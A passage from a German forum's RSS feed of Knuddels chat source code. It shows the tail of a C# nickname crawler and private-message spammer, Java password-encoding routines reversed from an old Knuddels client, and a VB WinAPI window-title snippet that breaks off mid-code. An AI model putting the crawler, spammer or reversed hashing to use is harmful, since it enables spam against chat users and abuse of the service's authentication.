&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; chats.Length; i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(new String(' ', Console.WindowWidth - 1));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(0, Console.CursorTop - chats.Length);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return chatSystem;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (key.Key == ConsoleKey.Backspace)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;&nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Media.SystemSounds.Exclamation.Play();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static void client_OnReceive(KNClient client, KNMessageEventArgs e)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; File.AppendAllText(&quot;token.log&quot;, e.Token + &quot;\r\n&quot;);<br />
&nbsp; &nbsp; &nbsp; string[] token = e.Token.Split('\0');<br />
&nbsp; &nbsp; &nbsp; if (token.Length &gt; 0)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; switch (token[0])<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case &quot;b&quot;:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; channels = new List&lt;string&gt;();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (string t in token)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Match match = channelParser.Match(t);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (match.Success)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; channels.Add(match.Groups[&quot;channel&quot;].Value);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case &quot;u&quot;:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; currentChannel = token[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; butlerName = token[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case &quot;k&quot;:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Match channelName = channelNameParser.Match(token[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (channelName.Success)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MatchCollection mc = chatterParser.Matches(token[7]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (Match m in mc)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (m.Success)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string n = Regex.Unescape(m.Groups[&quot;nick&quot;].Value);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (n != butlerName &amp;&amp; !nicks.Contains(n))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nicks.Add(n);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;{1}\tOnline @ {0}&quot;, channelName.Groups[&quot;name&quot;].Value, mc.Count);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static bool AsyncAuth(string nick, string pass, int minposts, int maxwarn, int[] whitelistGroups)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static string Md5(string data)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; byte[] bytes = Encoding.Default.GetBytes(data);<br />
&nbsp; &nbsp; &nbsp; MD5 md5 = new MD5CryptoServiceProvider();<br />
&nbsp; &nbsp; &nbsp; return System.BitConverter.ToString(md5.ComputeHash(bytes)).Replace(&quot;-&quot;, &quot;&quot;).ToLower();<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static void StartWaiter()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; waiterEnabled = true;<br />
&nbsp; &nbsp; &nbsp; waiterThread = new Thread(DisplayWaiter);<br />
&nbsp; &nbsp; &nbsp; waiterThread.Start();<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static Thread waiterThread = null;<br />
&nbsp; &nbsp; private static bool waiterEnabled = false;<br />
&nbsp; &nbsp; private static int waitPos = 0;<br />
&nbsp; &nbsp; private static char[] waiters = new char[]<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; '|',<br />
&nbsp; &nbsp; &nbsp; '/',<br />
&nbsp; &nbsp; &nbsp; '-',<br />
&nbsp; &nbsp; &nbsp; '\\',<br />
&nbsp; &nbsp; };<br />
&nbsp; &nbsp; private static void DisplayWaiter()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; Console.Write(waiters[waitPos++]);<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(75);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; catch (ThreadInterruptedException) { }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!waiterEnabled)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (waitPos &gt;= waiters.Length)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; waitPos = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.Write(waiters[waitPos++]);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static void StopWaiter()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; waiterEnabled = false;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private enum SpamTypes<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; M,<br />
&nbsp; &nbsp; &nbsp; P<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}</code><hr />
</div>download:<br />
 <br />
<a href="http://188.40.187.157/Lyralabs.Knuddels.Nickcrawler.zip" target="_blank" rel="nofollow">http://188.40.187.157/Lyralabs.Knuddels.Nickcrawler.zip</a><br />
 <br />
<b>Kommentare &amp; Kritik erwünscht!</b></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Lyra</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knuddels-nickcrawler-m-pp-spammer-30398</guid>
		</item>
		<item>
			<title><![CDATA[[v9.0acb] Passwort-Kodierung]]></title>
			<link>sourcecode-91/v9-0acb-passwort-kodierung-30889?goto=newpost</link>
			<pubDate>Fri, 27 May 2011 21:20:45 GMT</pubDate>
			<description><![CDATA[Die Methoden zur Passwort-Kodierung in v9.0acb habe ich dem Client  damals entnommen ("reversed"). Ich denke, dass da vielleicht noch jemand  was mit...]]></description>
			<content:encoded><![CDATA[<div>Die Methoden zur Passwort-Kodierung in v9.0acb habe ich dem Client  damals entnommen (&quot;reversed&quot;). Ich denke, dass da vielleicht noch jemand  was mit anfangen könnte. Vielleicht interessiert sich jemand dafür und  möchte sich damit weiterhin beschäftigen um eine aktuellere  Passwort-Kodierung zu reversen. Solange ihr nicht das Ziel verfolgt  Passwörter zu knacken ist es euch überlassen was ihr damit anstellt.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">private static String encrypt1(String str, String key) {<br />
&nbsp; &nbsp; int strLength = str.length();<br />
&nbsp; &nbsp; int keyLength = key.length();<br />
&nbsp; &nbsp; int k = keyLength ^ strLength &lt;&lt; 3;<br />
&nbsp; &nbsp; int bufferLength = keyLength &gt; strLength ? keyLength : strLength;<br />
&nbsp; &nbsp; StringBuilder buffer = new StringBuilder(bufferLength);<br />
&nbsp; &nbsp; int strChar = str.charAt(0);<br />
&nbsp; &nbsp; int keyChar = key.charAt(0);<br />
<br />
&nbsp; &nbsp; for (int i = 0; i &lt; bufferLength; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (strChar &gt;= keyLength) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strChar = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (keyChar &gt;= strLength) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; keyChar = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) (str.charAt(keyChar) ^ key.charAt(strChar) ^ k));<br />
&nbsp; &nbsp; &nbsp; &nbsp; strChar++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; keyChar++;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; return buffer.toString();<br />
}<br />
<br />
private static String encrypt2(String str, String key) {<br />
&nbsp; &nbsp; int strLength = str.length();<br />
&nbsp; &nbsp; int keyLength = key.length();<br />
&nbsp; &nbsp; int k = strLength ^ keyLength &lt;&lt; 4;<br />
&nbsp; &nbsp; int bufferLength = keyLength &gt; strLength ? keyLength : strLength;<br />
&nbsp; &nbsp; StringBuilder buffer = new StringBuilder(bufferLength);<br />
<br />
&nbsp; &nbsp; for (int i = 0; i &lt; bufferLength; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) (str.charAt(i % strLength) ^ key.charAt(i % keyLength) ^ k));<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; return buffer.toString();<br />
}<br />
<br />
private static int hash(String str) {<br />
&nbsp; &nbsp; int i = 0;<br />
&nbsp; &nbsp; int j = 0;<br />
&nbsp; &nbsp; int strLength = str.length();<br />
<br />
&nbsp; &nbsp; if (strLength &lt; 19) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int n = strLength - 1; n &gt;= 0; n--) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = i * 3 + str.charAt(n);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j = j * 5 + str.charAt(strLength - n - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int m = strLength / 19;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int n = strLength - 1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; while (n &gt;= 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = i * 5 + str.charAt(n);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j = j * 3 + str.charAt(strLength - n - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n -= m;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; int k = i ^ j;<br />
&nbsp; &nbsp; return k &amp; 0xFFFFFF ^ k &gt;&gt; 24;<br />
}<br />
<br />
private static int hashPassword(String password, String key) {<br />
&nbsp; &nbsp; key = encrypt1(key, &quot;FnYDHdWwhBt&quot;);<br />
&nbsp; &nbsp; int i = key.length() / 2;<br />
&nbsp; &nbsp; i = (i * i + i + 16) % key.length();<br />
<br />
&nbsp; &nbsp; if (i == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = key.length() / 2;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; key = encrypt1(key.substring(i), &quot;HU&quot;) + key.substring(0, i);<br />
&nbsp; &nbsp; i = key.length() / 3;<br />
<br />
&nbsp; &nbsp; if (i == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = key.length() / 2;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; key = encrypt1(key.substring(i), &quot;ad&quot;) + key.substring(0, i);<br />
&nbsp; &nbsp; i = (key.length() * 3) / 4;<br />
<br />
&nbsp; &nbsp; if (i == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; i = key.length() / 2;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; key = encrypt1(key.substring(i), &quot;Hr&quot;) + key.substring(0, i);<br />
&nbsp; &nbsp; return hash(encrypt2(password, key));<br />
}</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/v9-0acb-passwort-kodierung-30889</guid>
		</item>
		<item>
			<title><![CDATA[[VB - Source] Knuddels Titelfenster ändern (WinApi)]]></title>
			<link>sourcecode-91/vb-source-knuddels-titelfenster-aendern-winapi-32064?goto=newpost</link>
			<pubDate>Mon, 23 May 2011 20:41:11 GMT</pubDate>
			<description>*... sniper coding ...* 
- Bots - Opensource - Sourcecodes - 
 
Anhang 7493 (https://u-labs.de/forum/attachment.php?attachmentid=7493) 
 
Hallo. 
...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><br />
<b>... sniper coding ...</b><br />
- Bots - Opensource - Sourcecodes -<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7493&amp;d=1397243329" border="0" alt="Name:  banner.png
Hits: 207
Größe:  32,8 KB" class="thumbnail" style="float:CONFIG" /></div><br />
Hallo.<br />
<br />
Hier ist ein SourceCode, wie ihr ganz einfach den Titeltext von Knuddels (z.B. Channel: K-Script, Nick: Sniper) verändern könnt.<br />
<br />
<b>EndScreen:</b><br />
<img src="http://imageshack.us/m/41/8867/sniperscreensourcecode.png" border="0" alt="" /><br />
<br />
<b>Code:</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">Imports&nbsp;System<br />Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text<br />Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Windows</span><span style="color: #007700">.</span><span style="color: #0000BB">Forms<br />Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Runtime</span><span style="color: #007700">.</span><span style="color: #0000BB">InteropServices<br /><br /></span><span style="color: #007700">Public&nbsp;Class&nbsp;</span><span style="color: #0000BB">Form1<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">:=</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">.</span><span style="color: #0000BB">Ansi</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">EntryPoint</span><span style="color: #007700">:=</span><span style="color: #DD0000">"SendMessageA"</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">SendMessages</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hWnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;Msg&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">UInteger</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;wParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">SetLastError</span><span style="color: #007700">:=</span><span style="color: #0000BB">True</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">FindWindow</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;lpClassName&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpWindowName&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">SetLastError</span><span style="color: #007700">:=</span><span style="color: #0000BB">True</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwndParent&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;hwndChildAfter&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpszClass&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpszWindow&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">SetLastError</span><span style="color: #007700">:=</span><span style="color: #0000BB">True</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;parentHandle&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;childAfter&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;className&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;windowTitle&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">:=</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">.</span><span style="color: #0000BB">Ansi</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">EntryPoint</span><span style="color: #007700">:=</span><span style="color: #DD0000">"SendMessageA"</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hWnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;wMsg&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">UInteger</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;wParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">UInteger</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">EnumWindows&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;lpEnumFunc&nbsp;</span><span style="color: #007700">As&nbsp;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EnumWindowsProc</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Int32<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">IsWindowVisible&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;IntPtr</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Boolean<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Delegate&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">EnumWindowsProc</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lParam&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Boolean<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">GetWindowText&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #0000BB">Alias&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">"GetWindowTextA"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpString&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;cch&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Int32<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">GetWindowTextLength&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #0000BB">Alias&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">"GetWindowTextLengthA"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Int32<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">GetWindowLong&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32.dll"&nbsp;</span><span style="color: #0000BB">Alias&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">"GetWindowLongA"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: 